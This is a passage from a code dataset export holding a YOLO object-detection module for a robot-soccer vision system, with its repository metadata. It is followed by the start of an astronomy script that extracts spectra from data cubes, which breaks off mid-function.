os.path.join(model_path, \"config.cfg\")\n        # Setup neural network\n        self._net = cv2.dnn.readNet(weightpath, configpath)\n        # Set default state to all cached values\n        self._image = None\n        super().__init__(config, model_path)\n\n    def _get_output_layers(self):\n        \"\"\"\n        Library stuff\n        \"\"\"\n        layer_names = self._net.getLayerNames()\n\n        output_layers = [layer_names[i[0] - 1] for i in self._net.getUnconnectedOutLayers()]\n\n        return output_layers\n\n    def predict(self):\n        \"\"\"\n        Runs the neural network\n        \"\"\"\n        # Check if cached\n        if self._candidates is None or not self._caching:\n            # Set image\n            blob = cv2.dnn.blobFromImage(self._image, 0.00392, (416, 416), (0, 0, 0), True, crop=False)\n            self._net.setInput(blob)\n            self._width = self._image.shape[1]\n            self._height = self._image.shape[0]\n            # Run net\n            self._outs = self._net.forward(self._get_output_layers())\n            # Create lists\n            class_ids = []\n            confidences = []\n            boxes = []\n            self._candidates = defaultdict(list)\n            # Iterate over output/detections\n            for out in self._outs:\n                for detection in out:\n                    # Get score\n                    scores = detection[5:]\n                    # Ger class\n                    class_id = np.argmax(scores)\n                    # Get confidence from score\n                    confidence = scores[class_id]\n                    # First threshold to decrease candidate count and inscrease performance\n                    if confidence > self._confidence_threshold:\n                        # Get center point of the candidate\n                        center_x = int(detection[0] * self._width)\n                        center_y = int(detection[1] * self._height)\n                        # Get the heigh/width\n                        w = int(detection[2] * self._width)\n                        h = int(detection[3] * self._height)\n                        # Calc the upper left point\n                        x = center_x - w / 2\n                        y = center_y - h / 2\n                        # Append result\n                        class_ids.append(class_id)\n                        confidences.append(float(confidence))\n                        boxes.append([x, y, w, h])\n\n            # Merge boxes\n            indices = cv2.dnn.NMSBoxes(boxes, confidences, self._confidence_threshold, self._nms_threshold)\n\n            # Iterate over filtered boxes\n            for i in indices:\n                # Get id\n                i = i[0]\n                # Get box\n                box = boxes[i]\n                # Convert the box position/size to int\n                box = list(map(int, box))\n                # Create the candidate\n                c = Candidate(*box, confidences[i])\n                # Append candidate to the right list depending on the class\n                class_id = class_ids[i]\n                class_name = self._class_names[class_id]\n                self._candidates[class_name].append(c)\n\nclass YoloHandlerNCS2(YoloHandler):\n    \"\"\"\n    The following code is based on a code example from the Intel documentation under following licensing:\n\n    Copyright (C) 2018-2019 Intel Corporation\n\n    Licensed under the Apache License, Version 2.0 (the \"License\");\n    you may not use this file except in compliance with the License.\n    You may obtain a copy of the License at\n\n        http://www.apache.org/licenses/LICENSE-2.0\n\n    Unless required by applicable law or agreed to in writing, software\n    distributed under the License is distributed on an \"AS IS\" BASIS,\n    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n    See the License for the specific language governing permissions and\n    limitations under the License.\n\n    Following changes were made:\n        - Different class handling\n        - Modifications for our framework\n        - Different NMS approach\n\n    Used parts of the original code:\n        - Parts of the comunication with the NCS stick\n        - Output extraction for the Yolo network output\n    \"\"\"\n    class _YoloParams:\n        \"\"\"\n        Class to store params of yolo layers\n        \"\"\"\n        def __init__(self, param, side):\n            self.num = 3 if 'num' not in param else int(param['num'])\n            self.coords = 4 if 'coords' not in param else int(param['coords'])\n            self.classes = 2 if 'classes' not in param else int(param['classes'])\n            self.anchors = [10.0, 13.0, 16.0, 30.0, 33.0, 23.0, 30.0, 61.0, 62.0, 45.0, 59.0, 119.0, 116.0, 90.0, 156.0,\n                            198.0,\n                            373.0, 326.0] if 'anchors' not in param else [float(a) for a in param['anchors'].split(',')]\n\n            if 'mask' in param:\n                mask = [int(idx) for idx in param['mask'].split(',')]\n                self.num = len(mask)\n\n                maskedAnchors = []\n                for idx in mask:\n                    maskedAnchors += [self.anchors[idx * 2], self.anchors[idx * 2 + 1]]\n                self.anchors = maskedAnchors\n\n            self.side = side\n            self.isYoloV3 = 'mask' in param  # Weak way to determine but the only one.\n\n\n    def __init__(self, config, model_path):\n        # Init parent constructor\n        super().__init__(config, model_path)\n\n        # Create model file paths\n        model_xml = os.path.join(model_path, \"yolo.xml\")\n        model_bin = os.path.join(model_path, \"yolo.bin\")\n\n        # Plugin initialization\n        rospy.logdebug(\"Creating Inference Engine...\", logger_name=\"vision_yolo\")\n\n        # Reading the IR generated by the Model Optimizer (.xml and .bin files)\n        rospy.logdebug(f\"Loading network files:\\n\\t{model_xml}\\n\\t{model_bin}\")\n        self._net = IENetwork(model=model_xml, weights=model_bin)\n\n        assert len(self._net.inputs.keys()) == 1, \"Sample supports only YOLO V3 based single input topologies\"\n\n        # Preparing network inputs\n        rospy.logdebug(\"Preparing inputs\")\n        self._input_blob = next(iter(self._net.inputs))\n\n        #  Defaulf batch_size is 1\n        self._net.batch_size = 1\n\n        # Read and pre-process input images\n        self._n, self._c, self._h, self._w = self._net.inputs[self._input_blob].shape\n\n        # Device type\n        device = \"MYRIAD\"\n\n        # Loading model to the plugin\n        rospy.logdebug(\"Loading model to the plugin\", logger_name=\"vision_yolo\")\n        self._exec_net = ie.load_network(network=self._net, num_requests=2, device_name=device)\n\n    def _entry_index(self, side, coord, classes, location, entry):\n        \"\"\"\n        Calculates the index of a yolo object.\n        \"\"\"\n        side_power_2 = side ** 2\n        n = location // side_power_2\n        loc = location % side_power_2\n        return int(side_power_2 * (n * (coord + classes + 1) + entry) + loc)\n\n    def _parse_yolo_region(self, blob, resized_image_shape, original_im_shape, params, threshold):\n        \"\"\"\n        Parses bounding boxes out of an yolo output layer.\n\n        :param blob: Yolo layer output blob\n        :param resized_image_shape: Yolo input image shape\n        :param original_im_shape: Vision image shape\n        :param params: Layer parameters\n        :param threshold: Yolo bounding box threshold\n        :return: List of bounding boxes\n        \"\"\"\n        # Validating output parameters\n        _, _, out_blob_h, out_blob_w = blob.shape\n        assert out_blob_w == out_blob_h, \\\n            f\"Invalid size of output blob. It should be in NCHW layout and height should be equal to width. Current height: '{out_blob_h}', current width = '{out_blob_w}'\"\n\n        # Extracting layer parameters\n        original_image_height, original_image_width = original_im_shape\n        resized_image_h, resized_image_w = resized_image_shape\n        objects = list()\n        predictions = blob.flatten()\n        side_square = params.side ** 2\n\n        # Parsing YOLO Region output\n        for i in range(side_square):\n            row = i // params.side\n            col = i % params.side\n            for n in range(params.num):\n                obj_index = self._entry_index(params.side, params.coords, params.classes, n * side_square + i, params.coords)\n                scale = predictions[obj_index]\n                # Skip unrealistic boxes\n                if scale < threshold:\n                    continue\n                box_index = self._entry_index(params.side, params.coords, params.classes, n * side_square + i, 0)\n                # Network produces location predictions in absolute coordinates of feature maps.\n                # Scale it to relative coordinates.\n                x = (col + predictions[box_index + 0 * side_square]) / params.side\n                y = (row + predictions[box_index + 1 * side_square]) / params.side\n                # Value for exp might be a very large number, so the following construction is used here\n                try:\n                    w_exp = exp(predictions[box_index + 2 * side_square])\n                    h_exp = exp(predictions[box_index + 3 * side_square])\n                except OverflowError:\n                    continue\n                # Depending on topology we need to normalize sizes by feature maps (up to YOLOv3) or by input shape (YOLOv3)\n                w = w_exp * params.anchors[2 * n] / (resized_image_w if params.isYoloV3 else params.side)\n                h = h_exp * params.anchors[2 * n + 1] / (resized_image_h if params.isYoloV3 else params.side)\n                # Iterate over classes\n                for j in range(params.classes):\n                    class_index = self._entry_index(params.side, params.coords, params.classes, n * side_square + i,\n                                            params.coords + 1 + j)\n                    confidence = scale * predictions[class_index]\n                    # Skip box if confidence in class is too low\n                    if confidence < threshold:\n                        continue\n                    h = int(h * original_image_height)\n                    w = int(w * original_image_width)\n                    x = x * original_image_width - w / 2\n                    y = y * original_image_height - h / 2\n                    list_of_coordinates = [int(x), int(y), int(w), int(h)]\n                    # Convert to int\n                    objects.append([list_of_coordinates, float(confidence), j])\n        return objects\n\n    def predict(self):\n        if self._candidates is None or not self._caching:\n            # Set up variables\n            self._candidates = defaultdict(list)\n\n            rospy.logdebug(\"Starting inference...\", logger_name=\"vision_yolo\")\n\n            # Set request id for the stick. Since we only make one call at a time, we use a static parameter.\n            request_id = 1\n            # Resize image to yolo input size\n            in_frame = cv2.resize(self._image, (self._w, self._h))\n\n            # resize input_frame to network size\n            in_frame = in_frame.transpose((2, 0, 1))  # Change data layout from HWC to CHW\n            in_frame = in_frame.reshape((self._n, self._c, self._h, self._w))\n\n            # Start inference\n            self._exec_net.start_async(request_id=request_id, inputs={self._input_blob: in_frame})\n\n            # Collecting object detection results\n            detections = list()\n            # Create barrier. This lets all following processing steps wait until the prediction is calculated.\n            if self._exec_net.requests[request_id].wait(-1) == 0:\n                # Get output\n                output = self._exec_net.requests[request_id].output_blobs\n                # Iterate over output layers\n                for layer_name, out_blob in output.items():\n                    buff = out_blob.buffer\n                    # Reshape output layer\n                    out_blob = buff.reshape(self._net.layers[self._net.layers[layer_name].parents[0]].out_data[0].shape)\n                    # Create layer params object\n                    layer_params = self._YoloParams(self._net.layers[layer_name].params, out_blob.shape[2])\n                    # Parse yolo bounding boxes out of output blob\n                    detections.extend(\n                        self._parse_yolo_region(\n                            out_blob,\n                            in_frame.shape[2:],\n                            self._image.shape[:-1],\n                            layer_params,\n                            self._confidence_threshold))\n\n            if detections:\n                # Transpose detections\n                boxes, confidences, class_ids = list(map(list, zip(*detections)))\n                # Non-maximum Suppression. This effectively chooses one bounding box if multiple are laying over each other\n                box_indices = cv2.dnn.NMSBoxes(boxes, confidences, self._confidence_threshold, self._nms_threshold)\n                # Iterate over filtered boxes\n                for index in box_indices:\n                    # Get id\n                    index = index[0]\n                    # Get box\n                    box = boxes[index]\n                    # Convert the box position/size to int\n                    box = list(map(int, box))\n                    # Create the candidate\n                    c = Candidate(*box, confidences[index])\n                    # Append candidate to the right list depending on the class\n                    class_id = class_ids[index]\n                    class_name = self._class_names[class_id]\n                    self._candidates[class_name].append(c)\n\n\nclass YoloDetector(CandidateFinder):\n    \"\"\"\n    An abstract object detector using the yolo neural network.\n    This layer connects a single YOLO network with multiple candidate finders for the different classes,\n    \"\"\"\n    def __init__(self, config, yolo):\n        \"\"\"\n        Constructor for the YoloDetector.\n\n        :param config: The vision config\n        :param yolo: An YoloHandler implementation that runs the yolo network\n        \"\"\"\n        self._config = config\n        self._yolo = yolo\n\n    def set_image(self, image):\n        \"\"\"\n        Set a image for yolo. This is cached.\n\n        :param image: current vision image\n        \"\"\"\n        self._yolo.set_image(image)\n\n    @abc.abstractmethod\n    def get_candidates(self):\n        \"\"\"\n        :return: all found candidates\n        \"\"\"\n        raise NotImplementedError\n\n    def compute(self):\n        \"\"\"\n        Runs the yolo network\n        \"\"\"\n        self._yolo.predict()\n\nclass YoloBallDetector(YoloDetector):\n    \"\"\"\n    A ball detector using the yolo neural network.\n    This layer connects a single YOLO network with multiple candidate finders for the different classes,\n    in this case the ball class.\n    \"\"\"\n    def __init__(self, config, yolo):\n        super().__init__(config, yolo)\n\n    def get_candidates(self):\n        \"\"\"\n        :return: all found ball candidates\n        \"\"\"\n        return self._yolo.get_candidates(\"ball\")\n\nclass YoloGoalpostDetector(YoloDetector):\n    \"\"\"\n    A goalpost detector using the yolo neural network.\n    This layer connects a single YOLO network with multiple candidate finders for the different classes,\n    in this case the goalpost class.\n    \"\"\"\n    def __init__(self, config, yolo):\n        super().__init__(config, yolo)\n\n    def get_candidates(self):\n        \"\"\"\n        :return: all found goalpost candidates\n        \"\"\"\n        return self._yolo.get_candidates(\"goalpost\")\n\n\nclass YoloRobotDetector(YoloDetector):\n    \"\"\"\n    A robot detector using the yolo neural network.\n    This layer connects a single YOLO network with multiple candidate finders for the different classes,\n    in this case the robot class.\n    \"\"\"\n    def __init__(self, config, yolo):\n        super().__init__(config, yolo)\n\n    def get_candidates(self):\n        \"\"\"\n        :return: all found robot candidates\n        \"\"\"\n        return self._yolo.get_candidates(\"robot\")\n\nclass YoloXIntersectionDetector(YoloDetector):\n    \"\"\"\n    A X-Intersection detector using the yolo neural network.\n    This layer connects a single YOLO network with multiple candidate finders for the different classes,\n    in this case the X-Intersection class.\n    \"\"\"\n    def __init__(self, config, yolo):\n        super().__init__(config, yolo)\n\n    def get_candidates(self):\n        \"\"\"\n        :return: all found X-Intersection candidates\n        \"\"\"\n        return self._yolo.get_candidates(\"X-Intersection\")\n\n\nclass YoloLIntersectionDetector(YoloDetector):\n    \"\"\"\n    A L-Intersection detector using the yolo neural network.\n    This layer connects a single YOLO network with multiple candidate finders for the different classes,\n    in this case the L-Intersection class.\n    \"\"\"\n    def __init__(self, config, yolo):\n        super().__init__(config, yolo)\n\n    def get_candidates(self):\n        \"\"\"\n        :return: all found L-Intersection candidates\n        \"\"\"\n        return self._yolo.get_candidates(\"L-Intersection\")\n\n\nclass YoloTIntersectionDetector(YoloDetector):\n    \"\"\"\n    A T-Intersection detector using the yolo neural network.\n    This layer connects a single YOLO network with multiple candidate finders for the different classes,\n    in this case the T-Intersection class.\n    \"\"\"\n    def __init__(self, config, yolo):\n        super().__init__(config, yolo)\n\n    def get_candidates(self):\n        \"\"\"\n        :return: all found T-Intersection candidates\n        \"\"\"\n        return self._yolo.get_candidates(\"T-Intersection\")\n", "meta": {"hexsha": "1c057036404182b2e6d12ca2654302110e126673", "size": 23243, "ext": "py", "lang": "Python", "max_stars_repo_path": "bitbots_vision/bitbots_vision/src/bitbots_vision/vision_modules/yolo_handler.py", "max_stars_repo_name": "MosHumanoid/bitbots_thmos_meta", "max_stars_repo_head_hexsha": "f45ccc362dc689b69027be5b0d000d2a08580de4", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "bitbots_vision/bitbots_vision/src/bitbots_vision/vision_modules/yolo_handler.py", "max_issues_repo_name": "MosHumanoid/bitbots_thmos_meta", "max_issues_repo_head_hexsha": "f45ccc362dc689b69027be5b0d000d2a08580de4", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "bitbots_vision/bitbots_vision/src/bitbots_vision/vision_modules/yolo_handler.py", "max_forks_repo_name": "MosHumanoid/bitbots_thmos_meta", "max_forks_repo_head_hexsha": "f45ccc362dc689b69027be5b0d000d2a08580de4", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 39.1296296296, "max_line_length": 171, "alphanum_fraction": 0.592651551, "include": true, "reason": "import numpy", "num_tokens": 5071, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5195213219520929, "lm_q2_score": 0.18713267536239914, "lm_q1q2_score": 0.09721941488470544}}
{"text": "# = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =\nimport pdb\nimport time\nimport os\nimport sys\nimport glob\nimport numpy as np\nimport astropy\nimport shutil\nimport collections\nimport multiprocessing\nfrom astropy import wcs\nfrom astropy.coordinates import SkyCoord\nfrom astropy import units\nimport astropy.convolution\nfrom astropy.nddata import Cutout2D\nimport astropy.io.fits as afits\nfrom reproject import reproject_interp\n# = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =\nimport tdose\nimport tdose_utilities as tu\nimport tdose_model_FoV as tmf\nimport tdose_model_cube as tmc\nimport tdose_extract_spectra as tes\n# = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =\ndef perform_extraction(setupfile='./tdose_setup_template.txt',\n                       performcutout=True,generatesourcecat=True,modelrefimage=True,refimagemodel2cubewcs=True,\n                       definePSF=True,modeldatacube=True,createsourcecube=True,store1Dspectra=True,plot1Dspectra=True,\n                       plotS2Nspectra=True,save_init_model_output=False,clobber=False,verbose=True,verbosefull=False,\n                       logterminaloutput=False,skipextractedobjects=False,skipspecificobjects=None):\n    \"\"\"\n    Perform extraction of spectra from data cube based on information in TDOSE setup file\n\n    --- INPUT ---\n    setupfile              TDOSE setup file. Template can be generated with tu.generate_setup_template()\n    performcutout          To skip cutting out subcubes and images (i.e., if the cutouts have already been\n                           genereated and exist) set performcutout=False\n    generatesourcecat      To skip generating the cutout source catalogs from the main source catalog of sources\n                           to model (e.g., after editing the source catalog) set generatesourcecat=False\n                           Note however, that these catalogs are needed to produce the full FoV source model cube with\n                           tdose.gen_fullFoV_from_cutouts()\n    modelrefimage          To skip modeling the reference image set modelrefimage=False\n    refimagemodel2cubewcs  To skip converting the refence image model to the cube WCS system set refimagemodel2cubewcs=False\n    definePSF              To skip generating the PSF definePSF=False\n    modeldatacube          To skip modeling the data cube set modeldatacube=False\n    createsourcecube       To skip creating the source model cube set createsourcecube=False\n    store1Dspectra         To skip storing the 1D spectra to binary fits tables set store1Dspectra=False\n    plot1Dspectra          Plot the 1D spectra after extracting them\n    plotS2Nspectra         Plot signal-to-noise spectra after extracting the 1D spectra\n    save_init_model_output If a SExtractor catalog is provide to the keyword gauss_guess in the setup file\n                           an initial guess including the SExtractor fits is generated for the Gaussian model.\n                           To save a ds9 region, image and paramater list (the two latter is available from the default\n                           output of the TDOSE modeling) set save_init_model_output=True\n    clobber                If True existing output files will be overwritten\n    verbose                Toggle verbosity\n    verbosefull            Toggle extended verbosity\n    logterminaloutput      The setup file used for the run will be looged (copied to the spec1D_directory) automatically\n                           for each TDOSE extraction. To also log the output from the terminal set logterminaloutput=True\n                           In this case no TDOSE output will be passed to the terminal.\n    skipextractedobjects   To skip modeling and extraction of objects which were already extracted, i.e. object IDs with\n                           a matching 'spec1D_name'*.fits file in the 'spec1D_directory', set this keyword to True.\n                           NB This keyword does not apply to the cutouts; to ignore this process use the\n                              performcutout and generatesourcecat keywords.\n                           NB Note that spectra extracted with parent ids will not be recognized and therefore skipped.\n                              Hence only a standard TDOSE extraction will work in combinations with skipextractedobjects\n                              However, this generates all nescessary models and files for post-modeling parent extractions.\n    skipspecificobjects    In addition to skipextractedobjects to skip specific objects (irrespective of whether they\n                           have already been extracted or not) provide a list of source IDs to this keyword.\n                           The same causions mentioned under skipextractedobjects applies to skipspecificobjects as well.\n\n    --- EXAMPLE OF USE ---\n    import tdose\n\n    # full extraction with minimal text output to prompt\n    tdose.perform_extraction(setupfile='./tdose_setup_candels-cdfs-02.txt',verbose=True,verbosefull=False)\n\n    # only plotting:\n    tdose.perform_extraction(setupfile='./tdose_setup_candels-cdfs-02.txt',performcutout=False,generatesourcecat=False,modelrefimage=False,refimagemodel2cubewcs=False,definePSF=False,modeldatacube=False,createsourcecube=False,store1Dspectra=False,plot1Dspectra=True,clobber=True,verbosefull=False)\n\n\n    \"\"\"\n    # defining function within the routine that can be called by the output logger at the end\n    def tdosefunction(setupfile,performcutout,generatesourcecat,modelrefimage,refimagemodel2cubewcs,\n                       definePSF,modeldatacube,createsourcecube,store1Dspectra,plot1Dspectra,\n                       plotS2Nspectra,save_init_model_output,clobber,verbose,verbosefull,skipextractedobjects,skipspecificobjects):\n        start_time = time.clock()\n        # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n        if verbose: print('==================================================================================================')\n        if verbose: print(' TDOSE: Loading setup                                       '+\\\n                          '      ( Total runtime = '+str(\"%10.4f\" % (time.clock() - start_time))+' seconds )')\n        if verbosefull:\n            verbose = True\n\n        setupdic        = tu.load_setup(setupfile,verbose=verbose)\n\n        sourcecat_init  = setupdic['source_catalog']\n        sourcedat_init  = afits.open(sourcecat_init)[1].data\n        sourcehdr_init  = afits.open(sourcecat_init)[1].header\n        sourceids_init  = sourcedat_init[setupdic['sourcecat_IDcol']]\n\n        Nsources        = len(sourceids_init)\n        sourcenumber    = np.arange(Nsources)\n\n        if type(setupdic['sources_to_extract']) == np.str_ or (type(setupdic['sources_to_extract']) == str):\n            if setupdic['sources_to_extract'].lower() == 'all':\n                extractids = sourceids_init.astype(float)\n            else:\n                extractids = np.genfromtxt(setupdic['sources_to_extract'].astype(str),dtype=None,comments='#')\n                extractids = list(extractids.astype(float))\n        else:\n            extractids = setupdic['sources_to_extract']\n        Nextractions = len(extractids)\n\n        # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n        if verbose: print('==================================================================================================')\n        if verbose: print(' TDOSE: Logging setup                                       '+\\\n                          '      ( Total runtime = '+str(\"%10.4f\" % (time.clock() - start_time))+' seconds )')\n\n        setuplog = setupdic['spec1D_directory']+setupfile.split('/')[-1].replace('.txt','_logged.txt')\n        if os.path.isfile(setuplog) & (clobber == False):\n            if verbose: print(' - WARNING Logged setupfile exists and clobber = False. Not storing setup ')\n\n        else:\n            if verbose: print(' - Writing setup and command to spec1D_directory to log extraction setup and command that was run')\n            setupinfo    = open(setupfile,'r')\n            setupcontent = setupinfo.read()\n            setupinfo.close()\n\n            cmdthatwasrun = \"import tdose; tdose.perform_extraction(setupfile='%s',performcutout=%s,generatesourcecat=%s,modelrefimage=%s,\" \\\n                            \"refimagemodel2cubewcs=%s,definePSF=%s,modeldatacube=%s,createsourcecube=%s,store1Dspectra=%s,\" \\\n                            \"plot1Dspectra=%s,plotS2Nspectra=%s,save_init_model_output=%s,clobber=%s,verbose=%s,verbosefull=%s,\" \\\n                            \"logterminaloutput=%s)\" % \\\n                            (setuplog,performcutout,generatesourcecat,modelrefimage,refimagemodel2cubewcs,definePSF,modeldatacube,\n                             createsourcecube,store1Dspectra,plot1Dspectra,plotS2Nspectra,save_init_model_output,clobber,verbose,\n                             verbosefull,logterminaloutput)\n\n            loginfo = open(setuplog, 'w')\n            loginfo.write(\"# The setup file appended below was run with the command: \\n# \"+cmdthatwasrun+\n                          \" \\n# on \"+tu.get_now_string()+'\\n# ')\n\n            loginfo.write(setupcontent)\n            loginfo.close()\n        # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n        if setupdic['model_cutouts']:\n            if verbose: print('==================================================================================================')\n            if verbose: print(' TDOSE: Generate cutouts around sources to extract          '+\\\n                              '      ( Total runtime = '+str(\"%10.4f\" % (time.clock() - start_time))+' seconds )')\n            tdose.gen_cutouts(setupdic,extractids,sourceids_init,sourcedat_init,\n                              performcutout=performcutout,generatesourcecat=generatesourcecat,clobber=clobber,\n                              verbose=verbose,verbosefull=verbosefull,start_time=start_time)\n        else:\n            if verbose: print('==================================================================================================')\n            if verbose: print((' TDOSE: Model full FoV, i.e. no cutouts and incl. full source cat.'+\n                              '( Total runtime = '+str(\"%10.4f\" % (time.clock() - start_time))+' seconds )'))\n\n        # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n        if verbose: print('==================================================================================================')\n        if verbose: print(' TDOSE: Defining and loading data for extractions           '+\\\n                          '      ( Total runtime = '+str(\"%10.4f\" % (time.clock() - start_time))+' seconds )')\n        Nloops    = 1\n        loopnames = [-9999] # Default: Extracting objects from full FoV.\n                            # If to be done in cutouts, loopnames will be replaced with individual IDs\n\n        if setupdic['model_cutouts']:\n            Nloops    = Nextractions\n            loopnames = extractids\n\n        if skipspecificobjects is None:\n            skipidlist = []\n        else:\n            skipidlist = [int(id) for id in skipspecificobjects]\n\n        for oo, extid in enumerate(loopnames):\n            if verbose:\n                infostr = ' - Starting extraction for object '+str(\"%4.f\" % (oo+1))+' / '+\\\n                          str(\"%4.f\" % Nloops)+' with ID = '+str(extid)+'           '+tu.get_now_string()\n\n            start_time_obj = time.clock()\n            imgstr, imgsize, refimg, datacube, variancecube, sourcecat = tu.get_datinfo(extid,setupdic)\n\n            if not os.path.isfile(datacube):\n                infostr = infostr+'  -> skipping as datacube to extract from not found '\n                skipthisobj = True\n            else:\n                if np.isfinite(afits.open(datacube)[setupdic['cube_extension']].data).any():\n                    skipthisobj = False\n                else:\n                    infostr = infostr+'  -> skipping as no pixels in datacube are finite (all NaNs or Infs) '\n                    skipthisobj = True\n\n            if skipextractedobjects or (int(extid) in skipidlist):\n                if int(extid) in skipidlist:\n                    skipthisobj = True\n                    infostr = infostr+'  -> skipping per request           '\n                else:\n                    nameext2check = setupdic['spec1D_name']+'_'+setupdic['source_model']\n                    id2check      = str(\"%.10d\" % extid)\n                    specdir2check = setupdic['spec1D_directory']\n                    file2check    = specdir2check+nameext2check+'_'+id2check+'.fits'\n                    if os.path.isfile(file2check):\n                        skipthisobj = True\n                        infostr = infostr+'  -> skipping as spectrum exists    '\n                    else:\n                        infostr = infostr+'                                            '\n\n            if verbose:\n                if verbosefull:\n                    print(infostr)\n                else:\n                    sys.stdout.write(\"%s\\r\" % infostr)\n                    sys.stdout.flush()\n\n            if skipthisobj:\n                continue\n\n            if setupdic['wht_image'] is not None:\n                refimg    = refimg[0]\n\n            cube_data     = afits.open(datacube)[setupdic['cube_extension']].data\n            cube_variance = afits.open(variancecube)[setupdic['variance_extension']].data\n            cube_hdr      = afits.open(datacube)[setupdic['cube_extension']].header\n            cube_wcs2D    = tu.WCS3DtoWCS2D(wcs.WCS(tu.strip_header(cube_hdr.copy())))\n            cube_scales   = wcs.utils.proj_plane_pixel_scales(cube_wcs2D)*3600.0\n            cube_waves    = np.arange(cube_hdr['NAXIS3'])*cube_hdr['CD3_3']+cube_hdr['CRVAL3']\n\n            img_data      = afits.open(refimg)[setupdic['img_extension']].data\n            img_hdr       = afits.open(refimg)[setupdic['img_extension']].header\n            img_wcs       = wcs.WCS(tu.strip_header(img_hdr.copy()))\n            img_scales    = wcs.utils.proj_plane_pixel_scales(img_wcs)*3600.0\n\n            modelimg      = setupdic['models_directory']+'/'+\\\n                            refimg.split('/')[-1].replace('.fits','_'+setupdic['model_image_ext']+'_'+setupdic['source_model']+'.fits')\n\n            # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n            if verbosefull: print('--------------------------------------------------------------------------------------------------')\n            FoV_modelexists = False\n            # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n            if setupdic['source_model'] == 'galfit':\n                if verbosefull: print(' Looking for galfit model of source ... ')\n                model_file    = setupdic['galfit_directory']+'galfit_'+\\\n                                setupdic['ref_image'].split('/')[-1].replace('.fits','_output.fits')\n\n                if setupdic['model_cutouts']:\n                    model_file = model_file.replace('.fits',imgstr+'.fits')\n\n                if os.path.isfile(model_file):\n                    if verbosefull: print(' -> found it, so it will be used')\n                    FoV_modelexists = True\n                    FoV_modelfile   = model_file\n                    FoV_modeldata   = afits.open(FoV_modelfile)[setupdic['galfit_model_extension']].data\n                else:\n                    if verbosefull: print(' -> did not find it, so will generate gaussian TDOSE model')\n                sys.exit(' ---> Loading parameters and building model from galfit output is not enabled yet; sorry. '\n                         'If you have the model try the source_model = modelimg setup')\n            # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n            if setupdic['source_model'] == 'modelimg':\n                if verbosefull: print(' Looking for ref_image model of source in \"modelimg_directory\"... ')\n                model_file    = setupdic['modelimg_directory']+'model_'+\\\n                                setupdic['ref_image'].split('/')[-1]\n                if setupdic['model_cutouts']:\n                    model_file = model_file.replace('.fits',imgstr+'.fits')\n\n                cube_model_file = model_file.replace('.fits','_cube.fits')\n                if os.path.isfile(cube_model_file):\n                    if verbosefull: print(' -> found a cube model, so will use that (instead of any model files)')\n                    FoV_modelexists     = True\n                    FoV_modelfile       = cube_model_file\n                    FoV_modeldata       = afits.open(FoV_modelfile)[setupdic['modelimg_extension']].data\n                elif os.path.isfile(model_file):\n                    if verbosefull: print(' -> found it, so it will be used')\n                    FoV_modelexists     = True\n                    FoV_modelfile       = model_file\n                    FoV_modeldata       = afits.open(FoV_modelfile)[setupdic['modelimg_extension']].data\n                else:\n                    if verbosefull: print(' -> did not find any model or cube model:\\n    '+model_file+'\\n    '+cube_model_file+\\\n                                          '\\n   so will skip object '+str(extid))\n                    continue\n\n                try:\n                    if FoV_modeldata == None:\n                        print(('\\n WARNING - No model data found in extension '+\n                              str(setupdic['modelimg_extension'])+' of '+FoV_modelfile+'\\n'))\n                except:\n                    pass\n            # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n            if not FoV_modelexists:\n                if verbosefull: print(' TDOSE: Model reference image                               '+\\\n                                      '      ( Total runtime = '+str(\"%10.4f\" % (time.clock() - start_time))+' seconds )')\n                regionfile    = setupdic['models_directory']+'/'+\\\n                                refimg.split('/')[-1].replace('.fits','_'+setupdic['model_param_reg']+'_'+setupdic['source_model']+'.reg')\n                modelparam    = modelimg.replace('.fits','_objparam.fits') # output from reference image modeling\n\n                names         = []\n                sourceids     = afits.open(sourcecat)[1].data[setupdic['sourcecat_IDcol']]\n                for ii, sid in enumerate(sourceids):\n                    if setupdic['sourcecat_parentIDcol'] is not None:\n                        parentid = afits.open(sourcecat)[1].data[setupdic['sourcecat_parentIDcol']][ii]\n                        namestr  = str(parentid)+'>>'+str(sid)\n                    else:\n                        namestr  = str(sid)\n                    names.append(namestr)\n\n                centralpointsource = False # default value of centralpointsource\n                if setupdic['nondetections'] is None:\n                    centralpointsource = False\n                elif type(setupdic['nondetections']) == np.str_ or (type(setupdic['nondetections']) == str):\n                    if setupdic['nondetections'].lower() == 'all':\n                        centralpointsource = True\n                    else:\n                        nondetids = np.genfromtxt(setupdic['nondetections'],dtype=None,comments='#')\n                        nondetids = list(nondetids.astype(float))\n                        if extid in nondetids:\n                            centralpointsource = True\n                else:\n                    if extid in setupdic['nondetections']:\n                        centralpointsource = True\n\n                if centralpointsource:\n                    if verbosefull: print(' - Object in list of non-detections. Adjusting model to contain central point source  ')\n\n                if modelrefimage:\n                    